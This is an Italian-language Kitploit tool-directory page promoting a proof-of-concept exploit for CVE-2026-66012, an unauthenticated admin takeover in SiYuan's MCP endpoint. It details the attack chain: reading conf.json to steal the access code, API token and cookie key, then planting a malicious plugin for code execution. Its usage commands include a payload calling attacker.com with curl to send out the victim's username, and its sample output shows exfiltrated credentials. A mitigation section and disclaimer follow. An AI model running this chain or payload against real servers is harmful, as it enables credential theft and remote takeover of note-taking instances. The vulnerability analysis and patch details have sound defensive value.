Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Exploit di acquisizione dell'amministratore senza autenticazione per CVE-2026-66012 che sfrutta la mancanza di autorizzazione in MCP per esfiltrare le credenziali e ottenere l'esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Autenticazione e AutorizzazioneEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Exploit di acquisizione dell'amministratore senza autenticazione per CVE-2026-66012 che sfrutta la mancanza di autorizzazione in MCP per esfiltrare le credenziali e ottenere l'esecuzione remota di codice.

Vedi Repository
125 giorni faNon ancora revisionato

CVE-2026-66012 — SiYuan MCP: acquisizione dei privilegi di amministratore senza autenticazione

Proof of Concept per CVE-2026-66012 (CVSS 10.0 Critico), una vulnerabilità di autorizzazione mancante nell'endpoint MCP (Model Context Protocol) di SiYuan che consente a un attaccante non autenticato di ottenere i privilegi di amministratore ed eseguire codice in remoto quando il server Publish è abilitato in modalità anonima.

Riepilogo della vulnerabilità

CampoValore
CVECVE-2026-66012
CVSS 3.110.0 Critico
CWECWE-862 — Autorizzazione mancante
Versioni interessateSiYuan < v3.7.2
Corretta inv3.7.2 (commit df51c2bda696)
Segnalato daNguyen Van Hiep (@hypnguyen1209), MBBank

Causa principale

Tre difetti compongono la catena di attacco:

  1. POST /mcp è registrato solo con model.CheckAuth — nessun CheckAdminRole o CheckReadonly. Qualsiasi JWT valido (inclusi quelli con ruolo Reader) può invocare tutti i 31 tool MCP.
  2. Il dispatcher dei tool (handler.go) invoca i tool senza verificare il ruolo del chiamante.
  3. Il reverse proxy di Publish inietta un JWT RoleReader anonimo in ogni richiesta quando Publish.Auth.Enable=false, trasformando il bug di autorizzazione mancante in una vulnerabilità sfruttabile senza autenticazione.

Catena di attacco

  1. Handshake MCP tramite POST /mcp sulla porta di Publish (senza credenziali)
  2. Lettura di conf/conf.json → estrazione di accessAuthCode, api.token, cookieKey
  3. Installazione di un plugin in data/plugins/pwn/ → RCE al successivo avvio del desktop tramite nodeIntegration:true
  4. Login amministratore sulla porta 6806 utilizzando l'accessAuthCode sottratto

Prerequisiti

  • Python 3.8+
  • libreria requests (pip install requests)
  • Docker 20.10+ (solo per la configurazione del lab)

Utilizzo

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Configurazione del lab

Solo per test autorizzati. Configura un'istanza vulnerabile in locale:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Output atteso

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Mitigazione

Aggiorna a SiYuan v3.7.2 o versioni successive. La correzione (commit df51c2bda696) introduce:

  1. Middleware CheckAdminRole + CheckReadonly sulla rotta /mcp
  2. Blocco esplicito dell'accesso a conf/conf.json nel tool file
  3. Allowlist dei percorsi del proxy di Publish (i percorsi admin restituiscono 401 per gli utenti anonimi)

Riferimenti

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Commit di correzione df51c2bd
  • Advisory VulnCheck

Dichiarazione di non responsabilità

Questo PoC è destinato esclusivamente a test di sicurezza autorizzati e a fini didattici. L'uso non autorizzato contro sistemi che non possiedi o per cui non disponi di un'esplicita autorizzazione al test è illegale. Gli autori non sono responsabili di qualsiasi uso improprio di questo codice.

Scarica lo strumento